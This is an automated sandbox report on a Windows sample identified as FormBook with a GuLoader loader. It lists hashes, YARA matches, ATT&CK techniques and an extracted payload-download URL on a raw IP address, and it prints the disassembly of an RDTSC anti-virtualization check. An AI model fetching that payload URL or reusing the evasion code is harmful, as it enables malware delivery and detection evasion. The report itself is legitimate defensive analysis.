Loading ...

Play interactive tourEdit tour

Windows Analysis Report AfWu3i35ny.exe

Overview

General Information

Sample Name:AfWu3i35ny.exe
Analysis ID:501914
MD5:25aa37e21c29b7cff02509533b585ed7
SHA1:4374948e203cba151ebdc43e11e6e115046270e9
SHA256:740a2bc7e9c8eeed76ef0f812c6c89af35c414317d76ac5b50b28ca0728d103b
Tags:exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Potential malicious icon found
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected GuLoader
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Found potential dummy code loops (likely to delay analysis)
Machine Learning detection for sample
Creates a DirectInput object (often for capturing keystrokes)
Uses 32bit PE files
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Sample file is different than original file name gathered from version info
PE file contains strange resources
Contains functionality to read the PEB
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found potential string decryption / allocating functions
Program does not show much activity (idle)
Contains functionality for execution timing, often used to detect debuggers
Abnormal high CPU Usage

Classification

Process Tree

  • System is w10x64
  • AfWu3i35ny.exe (PID: 4536 cmdline: 'C:\Users\user\Desktop\AfWu3i35ny.exe' MD5: 25AA37E21C29B7CFF02509533B585ED7)
  • cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "http://45.137.22.91/blm.bin"}

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
AfWu3i35ny.exeJoeSecurity_FormBookYara detected FormBookJoe Security
    AfWu3i35ny.exeFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x379b5:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x37d4f:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x1ac62:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x1a74e:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x1ad64:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x1aedc:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0x38767:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x199c9:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0x394df:$sequence_7: 66 89 0C 02 5B 8B E5 5D
    • 0x20134:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x211d7:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    AfWu3i35ny.exeFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x1d066:$sqlite3step: 68 34 1C 7B E1
    • 0x1d179:$sqlite3step: 68 34 1C 7B E1
    • 0x1d095:$sqlite3text: 68 38 2A 90 C5
    • 0x1d1ba:$sqlite3text: 68 38 2A 90 C5
    • 0x1d0a8:$sqlite3blob: 68 53 D8 7F 8C
    • 0x1d1d0:$sqlite3blob: 68 53 D8 7F 8C

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
      00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
        00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
        • 0x369b5:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x36d4f:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x19c62:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
        • 0x1974e:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
        • 0x19d64:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
        • 0x19edc:$sequence_4: 5D C3 8D 50 7C 80 FA 07
        • 0x37767:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
        • 0x189c9:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
        • 0x384df:$sequence_7: 66 89 0C 02 5B 8B E5 5D
        • 0x1f134:$sequence_8: 3C 54 74 04 3C 74 75 F4
        • 0x201d7:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
        00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
        • 0x1c066:$sqlite3step: 68 34 1C 7B E1
        • 0x1c179:$sqlite3step: 68 34 1C 7B E1
        • 0x1c095:$sqlite3text: 68 38 2A 90 C5
        • 0x1c1ba:$sqlite3text: 68 38 2A 90 C5
        • 0x1c0a8:$sqlite3blob: 68 53 D8 7F 8C
        • 0x1c1d0:$sqlite3blob: 68 53 D8 7F 8C
        00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
          Click to see the 2 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          0.2.AfWu3i35ny.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
            0.2.AfWu3i35ny.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
            • 0x379b5:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
            • 0x37d4f:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
            • 0x1ac62:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
            • 0x1a74e:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
            • 0x1ad64:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
            • 0x1aedc:$sequence_4: 5D C3 8D 50 7C 80 FA 07
            • 0x38767:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
            • 0x199c9:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
            • 0x394df:$sequence_7: 66 89 0C 02 5B 8B E5 5D
            • 0x20134:$sequence_8: 3C 54 74 04 3C 74 75 F4
            • 0x211d7:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
            0.2.AfWu3i35ny.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
            • 0x1d066:$sqlite3step: 68 34 1C 7B E1
            • 0x1d179:$sqlite3step: 68 34 1C 7B E1
            • 0x1d095:$sqlite3text: 68 38 2A 90 C5
            • 0x1d1ba:$sqlite3text: 68 38 2A 90 C5
            • 0x1d0a8:$sqlite3blob: 68 53 D8 7F 8C
            • 0x1d1d0:$sqlite3blob: 68 53 D8 7F 8C
            0.0.AfWu3i35ny.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
              0.0.AfWu3i35ny.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
              • 0x379b5:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
              • 0x37d4f:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
              • 0x1ac62:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
              • 0x1a74e:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
              • 0x1ad64:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
              • 0x1aedc:$sequence_4: 5D C3 8D 50 7C 80 FA 07
              • 0x38767:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
              • 0x199c9:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
              • 0x394df:$sequence_7: 66 89 0C 02 5B 8B E5 5D
              • 0x20134:$sequence_8: 3C 54 74 04 3C 74 75 F4
              • 0x211d7:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
              Click to see the 1 entries

              Sigma Overview

              No Sigma rule has matched

              Jbx Signature Overview

              Click to jump to signature section

              Show All Signature Results

              AV Detection:

              barindex
              Antivirus / Scanner detection for submitted sampleShow sources
              Source: AfWu3i35ny.exeAvira: detected
              Found malware configurationShow sources
              Source: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "http://45.137.22.91/blm.bin"}
              Yara detected FormBookShow sources
              Source: Yara matchFile source: AfWu3i35ny.exe, type: SAMPLE
              Source: Yara matchFile source: 0.2.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.0.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, type: MEMORY
              Machine Learning detection for sampleShow sources
              Source: AfWu3i35ny.exeJoe Sandbox ML: detected
              Source: 0.0.AfWu3i35ny.exe.400000.0.unpackAvira: Label: TR/Dropper.Gen2
              Source: 0.2.AfWu3i35ny.exe.400000.0.unpackAvira: Label: TR/Dropper.Gen2
              Source: AfWu3i35ny.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

              Networking:

              barindex
              C2 URLs / IPs found in malware configurationShow sources
              Source: Malware configuration extractorURLs: http://45.137.22.91/blm.bin
              Source: AfWu3i35ny.exe, 00000000.00000002.833477625.000000000066A000.00000004.00000020.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

              E-Banking Fraud:

              barindex
              Yara detected FormBookShow sources
              Source: Yara matchFile source: AfWu3i35ny.exe, type: SAMPLE
              Source: Yara matchFile source: 0.2.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.0.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, type: MEMORY

              System Summary:

              barindex
              Potential malicious icon foundShow sources
              Source: initial sampleIcon embedded in PE file: bad icon match: 20047c7c70f0e004
              Malicious sample detected (through community Yara rule)Show sources
              Source: AfWu3i35ny.exe, type: SAMPLEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: AfWu3i35ny.exe, type: SAMPLEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0.2.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0.2.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0.0.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0.0.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: AfWu3i35ny.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
              Source: AfWu3i35ny.exe, type: SAMPLEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: AfWu3i35ny.exe, type: SAMPLEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0.2.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0.2.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0.0.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0.0.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: AfWu3i35ny.exe, 00000000.00000000.306480854.0000000000446000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameDikter.exe vs AfWu3i35ny.exe
              Source: AfWu3i35ny.exe, 00000000.00000002.835081490.0000000002A10000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameDikter.exeFE2X vs AfWu3i35ny.exe
              Source: AfWu3i35ny.exeBinary or memory string: OriginalFilenameDikter.exe vs AfWu3i35ny.exe
              Source: AfWu3i35ny.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_0043802D0_2_0043802D
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_0043212D0_2_0043212D
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_0043234D0_2_0043234D
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_004303CD0_2_004303CD
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_00421E500_2_00421E50
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_00422F200_2_00422F20
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C66720_2_021C6672
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C87060_2_021C8706
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C68720_2_021C6872
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C69A60_2_021C69A6
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: String function: 0040177E appears 94 times
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess Stats: CPU usage > 98%
              Source: AfWu3i35ny.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dllJump to behavior
              Source: classification engineClassification label: mal100.rans.troj.evad.winEXE@1/0@0/0

              Data Obfuscation:

              barindex
              Yara detected GuLoaderShow sources
              Source: Yara matchFile source: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, type: MEMORY
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_00402070 push ebx; iretd 0_2_004020D4
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_0040F87D push ds; ret 0_2_0040F8A3
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_004059C4 push cs; iretw 0_2_004059FA
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_00421DAF push eax; ret 0_2_00421DB5
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_00421E19 push eax; ret 0_2_00421E1F
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C027E push ds; iretd 0_2_021C0391
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C766E push ds; iretd 0_2_021C7688
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C030C push ds; iretd 0_2_021C0391
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C1F50 push ebp; ret 0_2_021C1F64
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C0392 push ds; iretd 0_2_021C0391
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C4FB9 pushfd ; iretd 0_2_021C4FC4
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C78EB push ebx; iretd 0_2_021C78FC
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C74E1 push edi; iretd 0_2_021C74E4
              Source: initial sampleStatic PE information: section name: .text entropy: 7.17479842318
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion:

              barindex
              Tries to detect virtualization through RDTSC time measurementsShow sources
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeRDTSC instruction interceptor: First address: 00000000021CA82E second address: 00000000021CA82E instructions: 0x00000000 rdtsc 0x00000002 mov eax, 27162939h 0x00000007 add eax, FB6A8BD9h 0x0000000c add eax, 26ECCA53h 0x00000011 sub eax, 496D7F64h 0x00000016 cpuid 0x00000018 test cl, bl 0x0000001a popad 0x0000001b call 00007F23608F1008h 0x00000020 lfence 0x00000023 mov edx, 3E29BAC0h 0x00000028 sub edx, 048E8A76h 0x0000002e sub edx, 3246429Ah 0x00000034 xor edx, 78AAEDA4h 0x0000003a mov edx, dword ptr [edx] 0x0000003c lfence 0x0000003f cmp dl, al 0x00000041 cmp edx, D97DEC47h 0x00000047 test ah, dh 0x00000049 cmp bx, ax 0x0000004c ret 0x0000004d sub edx, esi 0x0000004f ret 0x00000050 cmp bh, ch 0x00000052 add edi, edx 0x00000054 dec dword ptr [ebp+000000F8h] 0x0000005a cmp dl, cl 0x0000005c cmp dword ptr [ebp+000000F8h], 00000000h 0x00000063 jne 00007F23608F0FE3h 0x00000065 test ch, bh 0x00000067 cmp cl, 00000012h 0x0000006a call 00007F23608F10CEh 0x0000006f call 00007F23608F102Bh 0x00000074 lfence 0x00000077 mov edx, 3E29BAC0h 0x0000007c sub edx, 048E8A76h 0x00000082 sub edx, 3246429Ah 0x00000088 xor edx, 78AAEDA4h 0x0000008e mov edx, dword ptr [edx] 0x00000090 lfence 0x00000093 cmp dl, al 0x00000095 cmp edx, D97DEC47h 0x0000009b test ah, dh 0x0000009d cmp bx, ax 0x000000a0 ret 0x000000a1 mov esi, edx 0x000000a3 pushad 0x000000a4 rdtsc
              Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_004379AD rdtsc 0_2_004379AD

              Anti Debugging:

              barindex
              Found potential dummy code loops (likely to delay analysis)Show sources
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeProcess Stats: CPU usage > 90% for more than 60s
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021CA3C8 mov eax, dword ptr fs:[00000030h]0_2_021CA3C8
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C8012 mov eax, dword ptr fs:[00000030h]0_2_021C8012
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_021C9D8F mov eax, dword ptr fs:[00000030h]0_2_021C9D8F
              Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
              Source: C:\Users\user\Desktop\AfWu3i35ny.exeCode function: 0_2_004379AD rdtsc 0_2_004379AD
              Source: AfWu3i35ny.exe, 00000000.00000002.833785069.0000000000CF0000.00000002.00020000.sdmpBinary or memory string: Program Manager
              Source: AfWu3i35ny.exe, 00000000.00000002.833785069.0000000000CF0000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
              Source: AfWu3i35ny.exe, 00000000.00000002.833785069.0000000000CF0000.00000002.00020000.sdmpBinary or memory string: Progman
              Source: AfWu3i35ny.exe, 00000000.00000002.833785069.0000000000CF0000.00000002.00020000.sdmpBinary or memory string: Progmanlock

              Stealing of Sensitive Information:

              barindex
              Yara detected FormBookShow sources
              Source: Yara matchFile source: AfWu3i35ny.exe, type: SAMPLE
              Source: Yara matchFile source: 0.2.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.0.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, type: MEMORY

              Remote Access Functionality:

              barindex
              Yara detected FormBookShow sources
              Source: Yara matchFile source: AfWu3i35ny.exe, type: SAMPLE
              Source: Yara matchFile source: 0.2.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.0.AfWu3i35ny.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, type: MEMORY

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection1Virtualization/Sandbox Evasion11Input Capture1Security Software Discovery21Remote ServicesInput Capture1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
              Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsSoftware Packing2LSASS MemoryVirtualization/Sandbox Evasion11Remote Desktop ProtocolArchive Collected Data1Exfiltration Over BluetoothApplication Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection1Security Account ManagerProcess Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Deobfuscate/Decode Files or Information1NTDSSystem Information Discovery11Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
              Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptObfuscated Files or Information3LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.

              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              AfWu3i35ny.exe100%AviraTR/Dropper.Gen2
              AfWu3i35ny.exe100%Joe Sandbox ML

              Dropped Files

              No Antivirus matches

              Unpacked PE Files

              SourceDetectionScannerLabelLinkDownload
              0.0.AfWu3i35ny.exe.400000.0.unpack100%AviraTR/Dropper.Gen2Download File
              0.2.AfWu3i35ny.exe.400000.0.unpack100%AviraTR/Dropper.Gen2Download File

              Domains

              No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://45.137.22.91/blm.bin0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              No contacted domains info

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              http://45.137.22.91/blm.bintrue
              • Avira URL Cloud: safe
              unknown

              Contacted IPs

              No contacted IP infos

              General Information

              Joe Sandbox Version:33.0.0 White Diamond
              Analysis ID:501914
              Start date:13.10.2021
              Start time:12:07:33
              Joe Sandbox Product:CloudBasic
              Overall analysis duration:0h 8m 20s
              Hypervisor based Inspection enabled:false
              Report type:full
              Sample file name:AfWu3i35ny.exe
              Cookbook file name:default.jbs
              Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
              Number of analysed new started processes analysed:19
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:0
              Technologies:
              • HCA enabled
              • EGA enabled
              • HDC enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Detection:MAL
              Classification:mal100.rans.troj.evad.winEXE@1/0@0/0
              EGA Information:Failed
              HDC Information:
              • Successful, ratio: 15.5% (good quality ratio 14.8%)
              • Quality average: 67.7%
              • Quality standard deviation: 28.1%
              HCA Information:Failed
              Cookbook Comments:
              • Adjust boot time
              • Enable AMSI
              • Found application associated with file extension: .exe
              • Override analysis time to 240s for sample files taking high CPU consumption
              Warnings:
              Show All
              • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
              • Excluded IPs from analysis (whitelisted): 95.100.218.79, 20.82.210.154, 2.20.178.56, 2.20.178.10, 20.199.120.151, 2.20.178.24, 2.20.178.33, 20.199.120.85, 20.54.110.249, 40.112.88.60, 95.100.216.89, 20.199.120.182
